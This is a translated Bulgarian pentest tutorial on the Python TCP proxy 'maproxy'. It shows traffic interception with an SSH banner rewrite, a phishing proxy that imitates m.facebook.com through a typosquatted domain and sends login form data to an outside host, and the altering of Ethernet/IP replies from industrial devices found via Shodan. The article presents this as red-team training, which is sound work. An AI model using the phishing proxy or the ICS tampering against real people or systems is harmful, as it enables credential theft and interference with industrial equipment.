Обработка на мрежови данни в реално време

Преводът на статията е подготвен в очакване на старта на курса „Пентест. Практика на тестиране за проникване“.

Анотация

Разнообразните видове оценка на сигурността, от редовни тестове за проникване и операции на Red Team до хакерски атаки на IoT/ICS устройства и SCADA, включват работа с бинарни мрежови протоколи, т.е. по същество хващане и модификация на мрежовите данни между клиента и целта. Сниффингът на мрежовия трафик не е сложна задача, тъй като имаме инструменти като Wireshark, Tcpdump или Scapy, но модификацията се явява по-трудоемка задача, тъй като ни трябва специален интерфейс за четене на данните от мрежата, тяхното филтриране, изменение на лето и изпращане обратно на целевия хост почти в реално време. Освен това, би било идеално, ако такъв инструмент автоматично може да работи с няколко паралелни връзки и да има възможност за персонализация с помощта на скриптове.

Един ден открих инструмент, който се нарича мапрокси, документацията ми даде бързо да разбера, че мапрокси – точно това, от което имах нужда. Това е доста прост, универсален и лесно конфигурируем TCP прокси. Тествах този инструмент с няколко доста сложни приложения, включително ICS устройства (които генерират много пакети), за да видя дали може да работи с много паралелни връзки, и инструментът се справи много добре.

Тази статия ще ви запознае с обработката на мрежови данни на лето с помощта на мапрокси.

Преглед

Инструмент мапрокси основава се на Tornado – популярен и развит асинхронен мрежов фреймворк на Python.

Като цяло, той може да работи в няколко режима:

• TCP:TCP – нешифровани TCP връзки;
• TCP:SSL и SSL:TCP – с еднопосочно криптиране;
• SSL:SSL – двупосочно криптиране.

Той се предоставя под формата на библиотека. За бързо стартиране можете да използвате примерните файлове, които отразяват основните функции на библиотеката:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

Кейс 1 – прост двупосочен прокси

Основавайки се на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По подразбиране ProxyServer() приема два аргумента – място на свързване и целеви порт. server.listen() приема един аргумент – порт за слушане на входяща връзка.

Изпълнение на скрипта:

# python tcp2tcp.py

За да проведем теста, ще се свържем с локален SSH сървър чрез нашия прокси скрипт, който слуша на 2222/tcp порт и се свързва към стандартен порт 22/tcp SSH сървъри:

Приветственият банер информира, че нашият примерен скрипт успешно е проксирал мрежовия трафик.

Случай 2 – модификация на данни

Друг демонстрационен скрипт logging_proxy.py перфектно подхожда за взаимодействие с мрежовите данни. Коментарите в файла описват методите на класа, които можете да модифицирате, за да постигнете целта си:

Най-интригуващото тук е:

• on_c2p_done_read – за прихващане на данни по пътя от клиента към сървъра;
• on_p2s_done_read – в обратната посока.

Нека опитаме да променим SSH банера, който сървърът връща на клиента:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Изпълнете скрипта:

Както виждате, клиентът беше заблуден, тъй като името на SSH сървъра беше заменено с «DumnySSH».

Случай 3 – проста фишинг уеб страница

Съществуват безкрайни варианти за използването на този инструмент. Този път нека се концентрираме върху нещо по-практично от сферата на операциите на Red Team. Нека имитираме линка m.facebook.com и да използваме персонализиран домейн с умишлена типографска грешка, например, m.facebok.com. За демонстрация просто да предположим, че домейнът е регистриран от нас.

Ще установим незашифрована мрежова връзка с нашия прокси на жертва и SSL Stream за сървъра на Facebook (31.13.81.36). За да сработи този пример, трябва да заменим HTTP заглавката на хоста и да внедрим правилното име на хоста, а също така да изключим компресията на отговорите, за да получим лесен достъп до тяхното съдържание. В крайна сметка ще заменим HTML формата, за да се изпращат входните данни на нас, вместо на сървърите на Facebook:

[…]
def on_c2p_done_read(self,data):
 # замяна на заглавката на хоста
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# деактивиране на компресията
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # частична замяна на отговора
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Резултат:

Както виждате, успяхме успешно да заменим оригиналния сайт.

Случай 4 – Портим Ethernet/IP

Аз почти дълго време работя с индустриални устройства и софтуер (ICS / SCADA), като програмируеми контролери (PLC), входно-изходни модули, задвижвания, реле, стъпаловидни среда на програмиране и много други. Този случай е за тези, които обичат индустриални неща. Заобикалянето на такива решения предполага активна работа с мрежови протоколи. В следващия пример бих искал да покажа как можете да модифицирате мрежовия трафик ICS/SCADA.

За това ще ви е необходимо следното:

• Мрежов сниффер, например, Wireshark;
• Ethernet/IP или просто SIP-устройство, можете да го намерите чрез услугата Shodan;
• Нашият скрипт е базиран на мапрокси.

За начало, нека да видим как изглежда типичният идентификационен отговор от CIP (Common Industrial Protocol):

Идентификацията на устройството се извършва с помощта на протокола Ethernet/IP, който е разширена версия на Ethernet протокола за индустриални цели, обгръщащ управление като CIP. Ще променим зададеното идентификационно име, видимо на скрийншота «NI-IndComm for Ethernet» с помощта на нашия прокси-скрипт. Можехме да преизползваме скрипта logging_proxy.py и аналогично да модифицираме метода на класа on_p2s_done_read, тъй като искаме на клиента да се вижда друго идентификационно име.

Код:

[…]
 def on_p2s_done_read(self,data):
 # частична замяна на отговора

 # Проверка дали получихме отговор от List Identity съобщение
     if data[26:28] == b'x0cx00':
         print('Получен отговор, заместване')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По същество, поискахме идентификацията на устройството два пъти, вторият отговор е оригинален, а първият е модифициран.

И накрая

Според мен мапрокси удобен и прост инструмент, който е написан на Python, затова смятам, че и вие можете да се възползвате от него. Разбира се, съществуват и по-сложни инструменти за обработка и модификация на мрежови данни, но те изискват и повече внимание и обикновено се създават за конкретни сценарии на употреба, като Muraena, Modlishka или evilginx за случаи, подобни на третия, или canape за последния случай. Както и да е, с помощта на мапрокси вие ще можете бързо да реализирате идеите си за прихващане на мрежови данни, тъй като примерите за скриптове са много разбираеми.

Тестване на механизми за автентикация в Windows AD

Източник: habr.com